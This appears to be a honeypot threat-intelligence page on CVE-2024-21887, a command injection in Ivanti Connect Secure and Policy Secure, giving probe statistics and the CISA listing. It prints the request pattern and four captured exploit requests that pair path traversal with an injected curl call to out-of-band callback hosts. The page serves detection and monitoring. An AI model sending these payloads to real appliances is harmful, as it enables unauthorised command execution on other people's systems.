CVE-2024-21887: Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) - Command Injection

HoneyLabs honeypots recorded 6 probes matching CVE-2024-21887 from 1 distinct source IP address in the last 7 days. Severity is rated critical.

This CVE is on CISA's Known Exploited Vulnerabilities list. CISA added it on 2024-01-10.

Request paths that identify it

• /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20{{*}}

Addresses probing it

Networks it comes from

Where it comes from

Captured requests

• /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20db817n5r4boisguf8240r1st4nm5rszbe.oast.site
• /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20db6ju85r4boqct66i8b0nrisduzg4djpf.oast.me
• /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20db55a55r4boh7qauocv087ynfap6p3zm1.oast.pro
• /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20db7a64tr4bopjr84s5hg8i1buuawez9bf.oast.site

HTTP client fingerprints

• b11cun040_00040013_608dab68